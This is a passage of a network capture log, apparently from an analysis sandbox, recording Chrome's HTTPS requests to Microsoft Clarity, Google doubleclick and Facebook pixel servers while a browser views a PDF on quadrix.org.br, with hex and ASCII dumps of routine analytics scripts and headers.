2024-05-10 07:20:59 UTC	16384	IN	Data Raw: 74 69 6c 73 22 29 2c 72 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 49 73 49 6f 73 49 6e 41 70 70 42 72 6f 77 73 65 72 22 29 2c 73 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 55 52 4c 55 74 69 6c 22 29 2c 74 3d 73 2e 67 65 74 55 52 4c 50 61 72 61 6d 65 74 65 72 2c 75 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 56 61 6c 69 64 55 72 6c 22 29 2c 76 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 52 65 73 6f 6c 76 65 4c 69 6e 6b 22 29 3b 73 3d 66 2e 67 65 74 46 62 65 76 Data Ascii: tils"),r=f.getFbeventsModules("signalsFBEventsGetIsIosInAppBrowser"),s=f.getFbeventsModules("SignalsFBEventsURLUtil"),t=s.getURLParameter,u=f.getFbeventsModules("SignalsFBEventsGetValidUrl"),v=f.getFbeventsModules("SignalsFBEventsResolveLink");s=f.getFbev
2024-05-10 07:20:59 UTC	16384	IN	Data Raw: 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 56 61 6c 69 64 55 72 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 29 7b 76 61 72 20 6a 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6a 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6a 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 61 3d 6e 65 77 20 55 52 4c 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 63 61 74 63 68 28 61 29 7b 72 65 74 75 72 Data Ascii: urn k.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsGetValidUrl",function(){return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";j.exports=function(a){if(a==null)return null;try{a=new URL(a);return a}catch(a){retur
2024-05-10 07:20:59 UTC	1747	IN	Data Raw: 65 6c 64 73 28 7b 74 61 72 67 65 74 44 6f 6d 61 69 6e 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 2c 65 6e 64 70 6f 69 6e 74 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 2c 75 73 65 50 61 74 68 43 6f 6f 6b 69 65 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 5b 22 62 6f 6f 6c 65 61 6e 22 5d 28 29 29 2c 66 61 6c 6c 62 61 63 6b 44 6f 6d 61 69 6e 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 7d 29 29 2c 65 76 65 6e 74 73 46 69 6c 74 65 72 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 6f 62 6a 65 63 74 57 69 74 68 46 69 65 6c 64 73 28 7b 66 69 6c 74 65 72 69 6e 67 4d 6f 64 65 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 2c 65 76 65 6e 74 4e 61 6d 65 73 3a 62 Data Ascii: elds({targetDomain:b.allowNull(b.string()),endpoint:b.allowNull(b.string()),usePathCookie:b.allowNull(b["boolean"]()),fallbackDomain:b.allowNull(b.string())})),eventsFilter:b.allowNull(b.objectWithFields({filteringMode:b.allowNull(b.string()),eventNames:b
2024-05-10 07:20:59 UTC	14637	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 5f 6f 70 74 73 5b 61 5d 3b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 3f 63 28 64 28 62 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 5b 61 5d 3d 3d 3d 21 30 7d 29 3a 5b 5d 7d 7d 5d 29 3b 72 65 74 75 72 6e 20 61 7d 28 29 3b 6c 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6c 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 50 61 72 61 6c 6c 65 6c 46 69 72 65 43 6f 6e 66 69 67 54 79 70 65 64 65 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 Data Ascii: :function(a){var b=this._opts[a];return b!=null?c(d(b),function(a){return b[a]===!0}):[]}}]);return a}();l.exports=a})();return l.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsParallelFireConfigTypedef",function(){return function(g,h,i,j){v
2024-05-10 07:20:59 UTC	16384	IN	Data Raw: 70 65 6e 64 28 63 2c 61 5b 63 5d 29 7d 29 7d 29 3b 66 3d 6f 2e 74 72 69 67 67 65 72 28 70 28 62 29 29 3b 66 21 3d 6e 75 6c 6c 26 26 6d 28 66 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 21 3d 6e 75 6c 6c 26 26 6d 28 6e 28 61 29 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 3d 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 7c 7c 6e 65 77 20 64 28 29 2c 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 2e 61 70 70 65 6e 64 28 63 2c 61 5b 63 5d 29 7d 29 7d 29 3b 69 2e 74 72 69 67 67 65 72 28 62 29 3b 66 3d 65 2e 74 72 69 67 67 65 72 28 62 29 3b 69 66 28 6c 28 66 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 29 29 72 65 74 75 72 6e 3b 66 3d 68 2e 74 72 69 67 67 65 72 28 62 29 3b 69 66 28 6c 28 66 2c 66 75 6e 63 74 69 6f Data Ascii: pend(c,a[c])})});f=o.trigger(p(b));f!=null&&m(f,function(a){a!=null&&m(n(a),function(c){b.customParams=b.customParams\|\|new d(),b.customParams.append(c,a[c])})});i.trigger(b);f=e.trigger(b);if(l(f,function(a){return a}))return;f=h.trigger(b);if(l(f,functio
2024-05-10 07:20:59 UTC	16384	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 66 75 6e 63 74 69 6f 6e 20 75 28 61 29 7b 69 66 28 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 20 61 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 61 3d 3d 3d 6e 75 6c 6c 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 2e 6b 65 79 73 20 63 61 6c 6c 65 64 20 6f 6e 20 6e 6f 6e 2d 6f 62 6a 65 63 74 22 29 3b 76 61 72 20 62 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 71 2e 63 61 6c 6c 28 61 2c 63 29 26 26 62 2e 70 75 73 68 28 63 29 3b 69 66 28 72 29 66 6f 72 28 63 3d 30 3b 63 3c 74 3b 63 2b 2b 29 71 2e 63 61 6c 6c 28 61 2c 73 5b 63 5d 29 26 26 62 2e Data Ascii: .length;function u(a){if((typeof a==="undefined"?"undefined":i(a))!=="object"&&(typeof a!=="function"\|\|a===null))throw new TypeError("Object.keys called on non-object");var b=[];for(var c in a)q.call(a,c)&&b.push(c);if(r)for(c=0;c<t;c++)q.call(a,s[c])&&b.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49787	13.107.246.51	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:59 UTC	530	OUT	GET /tag/gnjwwmt1ml HTTP/1.1 Host: www.clarity.ms Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:59 UTC	528	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:59 GMT Content-Type: application/x-javascript Content-Length: 718 Connection: close Cache-Control: no-cache, no-store Expires: -1 Set-Cookie: CLID=9a899d0fa74e4bd0914bb20735a0c999.20240510.20250510; expires=Sat, 10 May 2025 07:20:59 GMT; path=/; secure; samesite=none; httponly Request-Context: appId=cid-v1:67bc0b23-8423-4b52-b1ca-6a87709ceaa2 x-azure-ref: 20240510T072059Z-17cb6678898hpgcf7qtq4mkecg00000003m0000000000qyg X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-05-10 07:20:59 UTC	718	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 61 2c 72 2c 69 2c 74 2c 79 29 7b 66 75 6e 63 74 69 6f 6e 20 73 79 6e 63 28 29 7b 28 6e 65 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 2e 63 6c 61 72 69 74 79 2e 6d 73 2f 63 2e 67 69 66 22 7d 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 73 79 6e 63 28 29 3a 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 73 79 6e 63 29 3b 69 66 28 61 5b 63 5d 2e 76 7c 7c 61 5b 63 5d 2e 74 29 72 65 74 75 72 6e 20 61 5b 63 5d 28 22 65 76 65 6e 74 22 2c 63 2c 22 64 75 70 2e 22 2b 69 2e 70 72 6f 6a 65 63 74 49 64 29 3b 61 5b 63 5d 2e 74 3d 21 30 2c 28 74 3d 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 72 29 29 2e Data Ascii: !function(c,l,a,r,i,t,y){function sync(){(new Image).src="https://c.clarity.ms/c.gif"}"complete"==document.readyState?sync():window.addEventListener("load",sync);if(a[c].v\|\|a[c].t)return a[c]("event",c,"dup."+i.projectId);a[c].t=!0,(t=l.createElement(r)).

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49790	13.107.246.51	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	600	OUT	GET /s/0.7.32/clarity.js HTTP/1.1 Host: www.clarity.ms Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CLID=9a899d0fa74e4bd0914bb20735a0c999.20240510.20250510
2024-05-10 07:21:00 UTC	640	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:00 GMT Content-Type: application/javascript;charset=utf-8 Content-Length: 62397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Thu, 09 May 2024 07:40:38 GMT ETag: "0x8DC6FFB521FC461" x-ms-request-id: dc45dc53-c01e-0014-1dff-a166b4000000 x-ms-version: 2018-03-28 Access-Control-Allow-Origin: * x-azure-ref: 20240510T072100Z-17cb6678898ph849b0gs5cxah000000000k0000000000emw Cache-Control: public, max-age=86400 x-fd-int-roxy-purgeid: 51562430 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-10 07:21:00 UTC	15744	IN	Data Raw: 2f 2a 20 63 6c 61 72 69 74 79 2d 6a 73 20 76 30 2e 37 2e 33 32 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 69 63 72 6f 73 6f 66 74 2f 63 6c 61 72 69 74 79 20 28 4c 69 63 65 6e 73 65 3a 20 4d 49 54 29 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 6e 75 6c 6c 2c 67 65 74 20 71 75 65 75 65 28 29 7b 72 65 74 75 72 6e 20 46 61 7d 2c 67 65 74 20 73 74 61 72 74 28 29 7b 72 65 74 75 72 6e 20 55 61 7d 2c 67 65 74 20 73 74 6f 70 28 29 7b 72 65 74 75 72 6e 20 56 61 7d 2c 67 65 74 20 74 72 61 63 6b 28 29 7b 72 65 74 75 72 6e 20 50 61 7d 7d 29 2c 65 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 5f 5f 70 72 6f Data Ascii: /* clarity-js v0.7.32: https://github.com/microsoft/clarity (License: MIT) */!function(){"use strict";var t=Object.freeze({__proto__:null,get queue(){return Fa},get start(){return Ua},get stop(){return Va},get track(){return Pa}}),e=Object.freeze({__pro
2024-05-10 07:21:00 UTC	16384	IN	Data Raw: 2c 6f 3d 61 2e 61 74 74 72 69 62 75 74 65 73 7c 7c 7b 7d 2c 75 3d 61 2e 74 61 67 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 73 77 69 74 63 68 28 21 30 29 7b 63 61 73 65 20 50 74 2e 69 6e 64 65 78 4f 66 28 75 29 3e 3d 30 3a 76 61 72 20 63 3d 6f 2e 74 79 70 65 2c 73 3d 22 22 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6f 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 73 2b 3d 6f 5b 74 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 29 3b 76 61 72 20 6c 3d 7a 74 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 73 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 7d 29 29 3b 72 2e 70 72 69 76 61 63 79 3d 22 49 4e 50 55 54 22 3d 3d 3d 75 26 26 48 74 2e 69 6e 64 65 78 4f 66 28 63 29 3e 3d 30 3f 69 Data Ascii: ,o=a.attributes\|\|{},u=a.tag.toUpperCase();switch(!0){case Pt.indexOf(u)>=0:var c=o.type,s="";Object.keys(o).forEach((function(t){return s+=o[t].toLowerCase()}));var l=zt.some((function(t){return s.indexOf(t)>=0}));r.privacy="INPUT"===u&&Ht.indexOf(c)>=0?i
2024-05-10 07:21:00 UTC	16384	IN	Data Raw: 3e 3d 30 7c 7c 72 2e 69 6e 64 65 78 4f 66 28 22 70 6f 73 74 69 6e 67 22 29 3e 3d 30 3f 22 61 72 74 69 63 6c 65 22 3a 72 29 7b 63 61 73 65 22 61 72 74 69 63 6c 65 22 3a 63 61 73 65 22 72 65 63 69 70 65 22 3a 43 72 28 35 2c 74 5b 61 5d 29 2c 43 72 28 38 2c 74 2e 63 72 65 61 74 6f 72 29 2c 43 72 28 31 38 2c 74 2e 68 65 61 64 6c 69 6e 65 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 70 72 6f 64 75 63 74 22 3a 43 72 28 35 2c 74 5b 61 5d 29 2c 43 72 28 31 30 2c 74 2e 6e 61 6d 65 29 2c 43 72 28 31 32 2c 74 2e 73 6b 75 29 2c 74 2e 62 72 61 6e 64 26 26 43 72 28 36 2c 74 2e 62 72 61 6e 64 2e 6e 61 6d 65 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 61 67 67 72 65 67 61 74 65 72 61 74 69 6e 67 22 3a 74 2e 72 61 74 69 6e 67 56 61 6c 75 65 26 26 28 57 28 31 31 2c 72 61 28 74 2e 72 Data Ascii: >=0\|\|r.indexOf("posting")>=0?"article":r){case"article":case"recipe":Cr(5,t[a]),Cr(8,t.creator),Cr(18,t.headline);break;case"product":Cr(5,t[a]),Cr(10,t.name),Cr(12,t.sku),t.brand&&Cr(6,t.brand.name);break;case"aggregaterating":t.ratingValue&&(W(11,ra(t.r
2024-05-10 07:21:00 UTC	13885	IN	Data Raw: 2e 69 73 41 72 72 61 79 28 72 29 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6f 3d 30 2c 75 3d 72 3b 6f 3c 75 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 63 3d 75 5b 6f 5d 3b 69 66 28 77 72 28 63 2c 61 2e 63 6f 6e 64 69 74 69 6f 6e 29 29 7b 76 61 72 20 73 3d 79 72 28 74 2c 63 29 3b 73 26 26 69 2e 70 75 73 68 28 73 29 7d 7d 6e 3d 69 7d 72 65 74 75 72 6e 20 6e 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 77 72 28 74 2c 65 29 7b 69 66 28 65 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 3a 22 29 3b 72 65 74 75 72 6e 20 6e 2e 6c 65 6e 67 74 68 3e 31 3f 74 5b 6e 5b 30 5d 5d 3d 3d 6e 5b 31 5d 3a 74 5b 6e 5b 30 5d 5d 7d 72 65 74 75 72 6e 21 30 7d 66 75 6e 63 74 69 6f 6e 20 6b 72 28 74 29 7b 76 61 72 20 65 3d 5b 73 28 29 2c 74 5d Data Ascii: .isArray(r)){for(var i=[],o=0,u=r;o<u.length;o++){var c=u[o];if(wr(c,a.condition)){var s=yr(t,c);s&&i.push(s)}}n=i}return n}return null}function wr(t,e){if(e){var n=e.split(":");return n.length>1?t[n[0]]==n[1]:t[n[0]]}return!0}function kr(t){var e=[s(),t]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49794	142.250.191.162	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1503	OUT	GET /td/rul/341894994?random=1715325658495&cv=11&fst=1715325658495&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&ct_cookie_present=0 HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:00 UTC	785	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 10-May-2024 07:36:00 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-10 07:21:00 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-10 07:21:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49795	157.240.249.8	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1315	OUT	GET /signals/config/516356326232506?v=2.9.156&r=stable&domain=www.quadrix.org.br&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:00 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-05-10 07:21:00 UTC	1660	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2024-05-10 07:21:00 UTC	1500	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wi
